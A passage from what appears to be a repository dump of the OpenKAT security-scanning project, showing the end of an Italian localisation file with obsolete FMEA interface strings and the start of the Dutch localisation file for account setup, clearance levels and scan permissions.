more detail what the failure mode is about.\"\n#~ msgstr \"Descrivi in dettaglio di cosa si tratta la modalità di guasto.\"\n\n#~ msgid \"explanation-description\"\n#~ msgstr \"spiegazione-descrizione\"\n\n#~ msgid \"explanation-frequency-level\"\n#~ msgstr \"spiegazione-livello-di-frequenza\"\n\n#~ msgid \"explanation-detectability_level\"\n#~ msgstr \"spiegazione-livello-di-rilevabilità\"\n\n#~ msgid \"You must at least set a failure mode.\"\n#~ msgstr \"Devi impostare almeno una modalità di guasto.\"\n\n#~ msgid \"Choose a frequency level.\"\n#~ msgstr \"Scegli un livello di frequenza.\"\n\n#~ msgid \"Choose a detectability level.\"\n#~ msgstr \"Scegli un livello di rilevabilità.\"\n\n#~ msgid \"Choose at least one effect.\"\n#~ msgstr \"Scegli almeno un effetto.\"\n\n#~ msgid \"Affected Department\"\n#~ msgstr \"Dipartimento Interessato\"\n\n#~ msgid \"Affected Objects\"\n#~ msgstr \"Oggetti Interessati\"\n\n#~ msgid \"Choose a failure mode which applies to \"\n#~ msgstr \"Scegli una modalità di guasto applicabile a\"\n\n#~ msgid \"When this failure mode occurs, which department is affected?\"\n#~ msgstr \"\"\n#~ \"Quando questa modalità di guasto si verifica, quale dipartimento è \"\n#~ \"interessato?\"\n\n#~ msgid \"Which objects does this failure mode affect when it occurs?\"\n#~ msgstr \"\"\n#~ \"Quali oggetti sono interessati da questa modalità di guasto quando si \"\n#~ \"verifica?\"\n\n#~ msgid \"explanation-affected-ooi-type\"\n#~ msgstr \"spiegazione-tipo-di-oggetto-interessato\"\n\n#~ msgid \"Effect\"\n#~ msgstr \"Effetto\"\n\n#~ msgid \"Severity Level\"\n#~ msgstr \"Livello di Gravità\"\n\n#~ msgid \"Name a possible effect of any type of failure mode that can occur.\"\n#~ msgstr \"\"\n#~ \"Nome di un possibile effetto di qualsiasi tipo di modalità di guasto che \"\n#~ \"può verificarsi.\"\n\n#~ msgid \"\"\n#~ \"Describe the severity of this effect ex. 1: not severe and 5: catastrophic\"\n#~ msgstr \"\"\n#~ \"Descrivi la gravità di questo effetto, ad esempio 1: non grave e 5: \"\n#~ \"catastrofico\"\n\n#~ msgid \"Describe a possible effect for FMEA\"\n#~ msgstr \"Descrivi un possibile effetto per FMEA\"\n\n#~ msgid \"explanation-effect\"\n#~ msgstr \"spiegazione-effetto\"\n\n#~ msgid \"explanation-severity-level\"\n#~ msgstr \"spiegazione-livello-di-gravità\"\n\n#~ msgid \"The effect is required.\"\n#~ msgstr \"L'effetto è obbligatorio.\"\n\n#~ msgid \"This effect already exists.\"\n#~ msgstr \"Questo effetto esiste già.\"\n\n#~ msgid \"Choose a severity level.\"\n#~ msgstr \"Scegli un livello di gravità.\"\n\n#~ msgid \"Finances\"\n#~ msgstr \"Finanze\"\n\n#~ msgid \"Marketing\"\n#~ msgstr \"Marketing\"\n\n#~ msgid \"Human Resources\"\n#~ msgstr \"Risorse Umane\"\n\n#~ msgid \"Research & Development\"\n#~ msgstr \"Ricerca & Sviluppo\"\n\n#~ msgid \"Administration\"\n#~ msgstr \"Amministrazione\"\n\n#~ msgid \"Level 1: Not Severe\"\n#~ msgstr \"Livello 1: Non Grave\"\n\n#~ msgid \"Level 2: Harmful\"\n#~ msgstr \"Livello 2: Dannoso\"\n\n#~ msgid \"Level 3: Severe\"\n#~ msgstr \"Livello 3: Grave\"\n\n#~ msgid \"Level 4: Very Harmful\"\n#~ msgstr \"Livello 4: Molto Dannoso\"\n\n#~ msgid \"Level 5: Catastrophic\"\n#~ msgstr \"Livello 5: Catastrofico\"\n\n#~ msgid \"\"\n#~ \"Level 1: Very Rare. Incident (almost) never occurs, almost unthinkable.\"\n#~ msgstr \"\"\n#~ \"Livello 1: Molto Raro. L'incidente (quasi) non si verifica, quasi \"\n#~ \"impensabile.\"\n\n#~ msgid \"Level 2: Rare. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"\"\n#~ \"Livello 2: Raro. Gli incidenti si verificano meno di una volta all'anno \"\n#~ \"(3-5).\"\n\n#~ msgid \"Level 3: Occurs. Incidents occur several times a year.\"\n#~ msgstr \"\"\n#~ \"Livello 3: Si Verifica. Gli incidenti si verificano diverse volte \"\n#~ \"all'anno.\"\n\n#~ msgid \"Level 4: Regularly. Incidents occur weekly.\"\n#~ msgstr \"\"\n#~ \"Livello 4: Regolarmente. Gli incidenti si verificano settimanalmente.\"\n\n#~ msgid \"Level 5: Frequent. Incidents occur daily.\"\n#~ msgstr \"Livello 5: Frequente. Gli incidenti si verificano quotidianamente.\"\n\n#~ msgid \"\"\n#~ \"Level 1: Always Detectable. Incident (almost) never occurs, almost \"\n#~ \"unthinkable.\"\n#~ msgstr \"\"\n#~ \"Livello 1: Sempre Rilevabile. L'incidente (quasi) non si verifica, quasi \"\n#~ \"impensabile.\"\n\n#~ msgid \"\"\n#~ \"Level 2: Usually Detectable. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"\"\n#~ \"Livello 2: Generalmente Rilevabile. Gli incidenti si verificano meno di \"\n#~ \"una volta all'anno (3-5).\"\n\n#~ msgid \"Level 3: Detectable. Failure mode is detectable with effort.\"\n#~ msgstr \"\"\n#~ \"Livello 3: Rilevabile. La modalità di guasto è rilevabile con sforzo.\"\n\n#~ msgid \"Level 4: Poorly Detectable. Detecting the failure mode is difficult.\"\n#~ msgstr \"\"\n#~ \"Livello 4: Scarsamente Rilevabile. La rilevazione della modalità di \"\n#~ \"guasto è difficile.\"\n\n#~ msgid \"\"\n#~ \"Level 5: Almost Undetectable. Failure mode detection is very difficult or \"\n#~ \"nearly impossible.\"\n#~ msgstr \"\"\n#~ \"Livello 5: Quasi Individuabile. La rilevazione della modalità di guasto è \"\n#~ \"molto difficile o quasi impossibile.\"\n\n#~ msgid \"Failure modes\"\n#~ msgstr \"Modalità di Guasto\"\n\n#~ msgid \"Failure Mode Affected Objects\"\n#~ msgstr \"Oggetti Interessati dalla Modalità di Guasto\"\n\n#~ msgid \"FMEA Departments Heatmap:\"\n#~ msgstr \"Mappa Termica dei Dipartimenti FMEA:\"\n\n#~ msgid \"No data to build heatmap\"\n#~ msgstr \"Nessun dato per costruire la mappa termica\"\n\n#~ msgid \"Failure mode affected object table:\"\n#~ msgstr \"Tabella degli oggetti interessati dalla modalità di guasto:\"\n\n#~ msgid \"Affected Object\"\n#~ msgstr \"Oggetto Interessato\"\n\n#~ msgid \"Failure mode affected objects cannot be found.\"\n#~ msgstr \"\"\n#~ \"Gli oggetti interessati dalla modalità di guasto non possono essere \"\n#~ \"trovati.\"\n\n#~ msgid \"Define which objects are affected for a failure mode\"\n#~ msgstr \"Definisci quali oggetti sono interessati da una modalità di guasto\"\n\n#~ msgid \"Failure mode affected objects\"\n#~ msgstr \"Oggetti interessati dalla modalità di guasto\"\n\n#~ msgid \"Save\"\n#~ msgstr \"Salva\"\n\n#~ msgid \"No failure mode yet defined.\"\n#~ msgstr \"Nessuna modalità di guasto ancora definita.\"\n\n#~ msgid \"To add affected objects to a failure mode, first create one.\"\n#~ msgstr \"\"\n#~ \"Per aggiungere oggetti interessati a una modalità di guasto, prima crea \"\n#~ \"una.\"\n\n#~ msgid \"Create failure mode\"\n#~ msgstr \"Crea modalità di guasto\"\n\n#~ msgid \"Failure mode affected objects table:\"\n#~ msgstr \"Tabella degli oggetti interessati alla modalità di guasto:\"\n\n#~ msgid \"No failure mode affected objects yet defined.\"\n#~ msgstr \"Nessun oggetto interessato alla modalità di guasto ancora definito.\"\n\n#~ msgid \"Create failure mode Affected Objects\"\n#~ msgstr \"Crea oggetti interessati alla modalità di guasto\"\n\n#~ msgid \"Departments failure modes\"\n#~ msgstr \"Modalità di guasto dei dipartimenti\"\n\n#~ msgid \"Failure modes and affected departments table:\"\n#~ msgstr \"Tabella delle modalità di guasto e dei dipartimenti interessati:\"\n\n#~ msgid \"Failure Mode\"\n#~ msgstr \"Modalità di Guasto\"\n\n#~ msgid \"Affected Departments\"\n#~ msgstr \"Dipartimenti interessati\"\n\n#~ msgid \"Nothing found.\"\n#~ msgstr \"Niente trovato.\"\n\n#~ msgid \"Failure mode properties\"\n#~ msgstr \"Proprietà della modalità di guasto\"\n\n#~ msgid \"Properties\"\n#~ msgstr \"Proprietà\"\n\n#~ msgid \"Risk class\"\n#~ msgstr \"Classe di rischio\"\n\n#~ msgid \"Frequency level\"\n#~ msgstr \"Livello di frequenza\"\n\n#~ msgid \"Detectability level\"\n#~ msgstr \"Livello di rilevabilità\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Effect and severity level\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                        Effects and severity levels\\n\"\n#~ \"                      \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Livello di efficacia e gravità\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Effetti e livelli di gravità\\n\"\n#~ \"                      \"\n\n#~ msgid \"Failure mode effect\"\n#~ msgstr \"Effetto della modalità di guasto\"\n\n#~ msgid \"Failure mode effect properties\"\n#~ msgstr \"Proprietà dell'effetto della modalità di guasto\"\n\n#~ msgid \"FMEA effect and severity\"\n#~ msgstr \"Effetto e gravità FMEA\"\n\n#~ msgid \"FMEA effect\"\n#~ msgstr \"Effetto FMEA\"\n\n#~ msgid \"Failure mode effects table:\"\n#~ msgstr \"Tabella degli effetti della modalità di guasto:\"\n\n#~ msgid \"Severity level\"\n#~ msgstr \"Livello di gravità\"\n\n#~ msgid \"No failure mode effect yet defined.\"\n#~ msgstr \"Nessun effetto della modalità di guasto ancora definito.\"\n\n#~ msgid \"Create a failure mode effect\"\n#~ msgstr \"Crea un effetto della modalità di guasto\"\n\n#~ msgid \"Create a new failure mode\"\n#~ msgstr \"Crea una nuova modalità di guasto\"\n\n#~ msgid \"Failure mode and effects\"\n#~ msgstr \"Modalità di guasto ed effetti\"\n\n#~ msgid \"No failure mode effects created.\"\n#~ msgstr \"Nessun effetto della modalità di guasto creato.\"\n\n#~ msgid \"\"\n#~ \"First create failure mode effects which can be added later to a failure \"\n#~ \"mode.\"\n#~ msgstr \"\"\n#~ \"Prima crea gli effetti della modalità di guasto che possono essere \"\n#~ \"aggiunti successivamente a una modalità di guasto.\"\n\n#~ msgid \"Create failure mode effects\"\n#~ msgstr \"Crea gli effetti della modalità di guasto\"\n\n#~ msgid \"Failure mode table:\"\n#~ msgstr \"Tabella delle modalità di guasto:\"\n\n#~ msgid \"Risk Class\"\n#~ msgstr \"Classe di rischio\"\n\n#~ msgid \"Sluit details\"\n#~ msgstr \"Chiudi dettagli\"\n\n#~ msgid \"Description:\"\n#~ msgstr \"Descrizione:\"\n\n#~ msgid \"Frequency level:\"\n#~ msgstr \"Livello di frequenza:\"\n\n#~ msgid \"Detectability level:\"\n#~ msgstr \"Livello di rilevabilità:\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffect and severity level\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffects and severity levels\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\teffetto e livello di sicurezza\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\teffetti e livelli di sicurezza\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n\n#~ msgid \"Failure mode report\"\n#~ msgstr \"Report della modalità di guasto\"\n\n#~ msgid \"Failure mode: \"\n#~ msgstr \"Modalità di guasto:\"\n\n#~ msgid \"Severity: \"\n#~ msgstr \"Gravità:\"\n\n#~ msgid \"Detectability: \"\n#~ msgstr \"Rilevabilità:\"\n\n#~ msgid \"Frequency: \"\n#~ msgstr \"Frequenza:\"\n\n#~ msgid \"Effect: \"\n#~ msgstr \"Effetto:\"\n\n#~ msgid \"Description: \"\n#~ msgstr \"Descrizione:\"\n\n#~ msgid \"Affected Departments: \"\n#~ msgstr \"Dipartimenti interessati:\"\n\n#~ msgid \"Affected OOI's: \"\n#~ msgstr \"OOI interessati:\"\n\n#~ msgid \"Report cannot be viewed, failure mode not found.\"\n#~ msgstr \"\"\n#~ \"Impossibile visualizzare il rapporto, modalità di guasto non trovata.\"\n\n#~ msgid \"FMEA introduction\"\n#~ msgstr \"Introduzione all'FMEA\"\n\n#~ msgid \"\"\n#~ \"FMEA (failure mode and effective analysis) is a step-by-step approach for \"\n#~ \"collecting knowledge about possible points of failure in a design, \"\n#~ \"manufacturing process, product or service.\"\n#~ msgstr \"\"\n#~ \"L'FMEA (analisi delle modalità di guasto ed efficacia) è un approccio \"\n#~ \"passo passo per raccogliere conoscenze sui possibili punti di guasto in \"\n#~ \"un progetto, processo di produzione, prodotto o servizio.\"\n\n#~ msgid \"\"\n#~ \"Failure mode (FM) refers to the way in which something might break down \"\n#~ \"and includes potential errors that may occur, especially errors that may \"\n#~ \"affect a system. Effective analysis (EA) involves deciphering the \"\n#~ \"consequences of those break downs by making sure that all failures can be \"\n#~ \"detected, determining how frequently a failure might occur and \"\n#~ \"identifying which potential failures should be prioritized.\"\n#~ msgstr \"\"\n#~ \"La modalità di guasto (FM) si riferisce al modo in cui qualcosa potrebbe \"\n#~ \"rompersi e include errori potenziali che possono verificarsi, in \"\n#~ \"particolare errori che possono influenzare un sistema. L'analisi efficace \"\n#~ \"(EA) comporta la decifrazione delle conseguenze di tali guasti, \"\n#~ \"assicurandosi che tutti i guasti possano essere rilevati, determinando \"\n#~ \"con quale frequenza un guasto potrebbe verificarsi e identificando quali \"\n#~ \"guasti potenziali dovrebbero essere prioritari.\"\n\n#~ msgid \"Create affected objects of a failure mode\"\n#~ msgstr \"Crea oggetti interessati di una modalità di guasto\"\n\n#~ msgid \"View all failure modes\"\n#~ msgstr \"Visualizza tutte le modalità di guasto\"\n\n#~ msgid \"View all failure mode effects\"\n#~ msgstr \"Visualizza tutti gli effetti delle modalità di guasto\"\n\n#~ msgid \"View all affected objects for a failure modes\"\n#~ msgstr \"Visualizza tutti gli oggetti interessati per una modalità di guasto\"\n\n#~ msgid \"Heatmap\"\n#~ msgstr \"Mappa termica\"\n\n#~ msgid \"--- Select an option ----\"\n#~ msgstr \"--- Seleziona un'opzione ----\"\n\n#~ msgid \"Failure mode affected objects successfully created.\"\n#~ msgstr \"Oggetti interessati dalla modalità di guasto creati con successo.\"\n\n#~ msgid \"Create\"\n#~ msgstr \"Crea\"\n\n#~ msgid \"Treeobjects successfully added.\"\n#~ msgstr \"Oggetti dell'albero aggiunti con successo.\"\n\n#~ msgid \"Please select a department or ooi.\"\n#~ msgstr \"Si prega di selezionare un dipartimento o un OOI.\"\n\n#~ msgid \"Failure mode successfully created.\"\n#~ msgstr \"Modalità di guasto creata con successo.\"\n\n#~ msgid \"Failure mode effect successfully created.\"\n#~ msgstr \"Effetto della modalità di guasto creato con successo.\"\n\n#~ msgid \"FMEA\"\n#~ msgstr \"FMEA\"\n\n#~ msgid \"Failure mode effects\"\n#~ msgstr \"Effetti delle modalità di guasto\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            \\\"Withdraw acceptance of level L%(acl)s \"\n#~ \"clearance and responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            \\\"Ritira l'accettazione del livello di \"\n#~ \"autorizzazione L%(acl)s e la relativa responsabilità\\\"\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accetta l'autorizzazione di livello L%(tcl)s e \"\n#~ \"la responsabilità\\\"\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  aggiungi impostazione\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  aggiungere impostazioni\\n\"\n#~ \"                \"\n\n#~ msgid \"Organization code(s) for raw does not exist in our database\"\n#~ msgstr \"\"\n#~ \"Il codice organizzazione(i) per il file raw non esiste nel nostro database\"\n\n#~ msgid \"Scan OOI\"\n#~ msgstr \"Scansione OOI\"\n\n#~ msgid \"Selected OOIs:\"\n#~ msgstr \"OOI selezionati:\"\n\n#~ msgid \"Session has terminated, please select OOIs again.\"\n#~ msgstr \"La sessione è terminata, seleziona di nuovo gli OOIs.\"\n\n#~ msgid \"Could not connect to Bytes. Service is possibly down\"\n#~ msgstr \"Impossibile connettersi a Bytes. Il servizio potrebbe essere giù\"\n\n#~ msgid \"Could not connect to Octopoes. Service is possibly down\"\n#~ msgstr \"Impossibile connettersi a Octopoes. Il servizio potrebbe essere giù\"\n\n#~ msgid \"Could not connect to Scheduler. Service is possibly down\"\n#~ msgstr \"\"\n#~ \"Impossibile connettersi a Scheduler. Il servizio potrebbe essere giù\"\n\n#~ msgid \"Rocky will not function properly. Not all services are healthy.\"\n#~ msgstr \"\"\n#~ \"Rocky non funzionerà correttamente. Non tutti i servizi sono in salute.\"\n\n#~ msgid \"Failure\"\n#~ msgstr \"Fallimento\"\n\n#~ msgid \"Task details not found.\"\n#~ msgstr \"Dettagli del compito non trovati.\"\n\n#~ msgid \"This name we will use to communicate with you.\"\n#~ msgstr \"Questo nome verrà utilizzato per comunicare con te.\"\n\n#~ msgid \"What do we call you?\"\n#~ msgstr \"Come ti chiamiamo?\"\n\n#~ msgid \"Enter your email address.\"\n#~ msgstr \"Inserisci il tuo indirizzo e-mail.\"\n\n#~ msgid \"Choose your super secret password\"\n#~ msgstr \"Scegli la tua super segreta password\"\n\n#~ msgid \"Enter your new password\"\n#~ msgstr \"Inserisci la tua nuova password\"\n\n#~ msgid \"Repeat your new password\"\n#~ msgstr \"Ripeti la tua nuova password\"\n\n#~ msgid \"Confirm your new password\"\n#~ msgstr \"Conferma la tua nuova password\"\n\n#~ msgid \"List of tasks for \"\n#~ msgstr \"Elenco dei compiti per\"\n\n#~ msgid \"No input OOI\"\n#~ msgstr \"Nessun OOI di input\"\n\n#~ msgid \"\"\n#~ \"Can not parse observed_at parameter, falling back to showing current \"\n#~ \"object\"\n#~ msgstr \"\"\n#~ \"Impossibile analizzare il parametro observed_at, tornando all'oggetto \"\n#~ \"corrente\"\n\n#~ msgid \"Scanning successfully scheduled.\"\n#~ msgstr \"Scansione pianificata con successo.\"\n"
  },
  {
    "path": "rocky/rocky/locale/nl/LC_MESSAGES/django.po",
    "content": "# Brenno de Winter <brenno@dewinter.com>, 2023.\n# Darwinkel <Darwinkel@users.noreply.github.com>, 2023, 2025.\n# jan klopper <jan@underdark.nl>, 2023, 2024, 2025.\n# LibreTranslate <noreply-mt-libretranslate@weblate.org>, 2023, 2024, 2025.\n# Weblate Translation Memory <noreply-mt-weblate-translation-memory@weblate.org>, 2023, 2024, 2025.\n# 跨性别 <github@lgbt.sh>, 2023, 2025.\n# Madelon Dohmen <maddohmen@hotmail.com>, 2023, 2024, 2025.\n# PAUL MICHIEL VAN DER BLONK <blonkm@gmail.com>, 2024.\n# Joost Krapels <joost.krapels@ictinstitute.nl>, 2024, 2025.\n# Jeroen Dekkers <jeroen@dekkers.ch>, 2024, 2025.\n# Wim Benes <fryskefirefox@gmail.com>, 2024, 2025.\n# paulvandenbraken <paul.vandenbraken@ezzenz.nl>, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: \\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-09-11 11:02+0000\\n\"\n\"Last-Translator: LibreTranslate <noreply-mt-libretranslate@weblate.org>\\n\"\n\"Language-Team: Dutch <https://hosted.weblate.org/projects/openkat/\"\n\"nl-kat-coordination/nl/>\\n\"\n\"Language: nl\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.14-dev\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Machtigingen\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Belangrijke datums\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Naam\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"De naam die gebruikt wordt om te communiceren.\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"Voer een gebruikersnaam in\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"E-mailadres\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"Voer een e-mailadres in.\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Wachtwoord\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"Kies een supergeheim wachtwoord\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Kies een ander e-mailadres.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Selecteer een van de beschikbare opties ---\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"Accounttype\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Selecteer een accounttype om door te gaan.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Vertrouwd vrijwaringsniveau\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"Selecteer een vrijwaringsniveau dat u aan dit lid toevertrouwt.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"Kies een vrijwaringsniveau om verder te gaan.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"De naam van de organisatie.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"uitleg-organisatie-naam\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"Een unieke code van maximaal {code_length} tekens.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"uitleg-organisatie-code\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"De naam van de organisatie is vereist om verder te gaan.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Kies een andere organisatie.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"Organisatiecode is vereist om verder te gaan.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Kies een andere code voor uw organisatie.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\"Ik verklaar dat OpenKAT de assets van mijn organisatie mag scannen en dat ik \"\n\"toestemming heb om deze assets te scannen. Ik ben me bewust van de gevolgen \"\n\"die een scan (met een hoger scanlevel) heeft op mijn systemen.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\"Ik verklaar dat ik gemachtigd ben om deze vrijwaring te geven namens mijn \"\n\"organisatie. Ik heb de ervaring en kennis om te weten wat de gevolgen kunnen \"\n\"zijn en kan hiervoor verantwoordelijk worden gehouden.\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"Vertrouwd om vrijwaringsniveau te veranderen.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"Heeft toestemming om vrijwaringsniveau te wijzigen.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"Geblokkeerd\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Stel de status van het lid in op geblokkeerd, zodat deze geen toegang meer \"\n\"heeft tot de organisatie.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"Geaccepteerd vrijwaringsniveau\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"Voer door komma’s gescheiden labels in.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"De twee wachtwoordvelden kwamen niet overeen.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"Nieuw wachtwoord\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"Voer een nieuw wachtwoord in\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"Bevestiging nieuw wachtwoord\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"Herhaal het nieuwe wachtwoord\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"Bevestig het nieuwe wachtwoord\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"Voer een correct e-mailadres en wachtwoord in.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"Dit account is niet actief.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\"Voer het e-mailadres in waarmee u zich hebt geregistreerd of dat u hebt \"\n\"gekregen bij de installatie van OpenKAT.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"Organisatie is vereist.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Organisaties\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"De organisatie waarvan de instellingen worden gekloond.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"E-mailadres\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"Er zal een herstelkoppeling naar dit e-mailadres worden gestuurd\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"Het e-mailadres verbonden aan uw OpenKAT-account\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"Voer het token in dat door de authenticator-app is gegenereerd om de \"\n\"tweefactorauthenticatie in te stellen.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"Plaats het token dat door uw tokenauthenticator-app is gegenereerd.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"Back-uptoken\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"Vrijwaringsniveau is ingesteld.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr 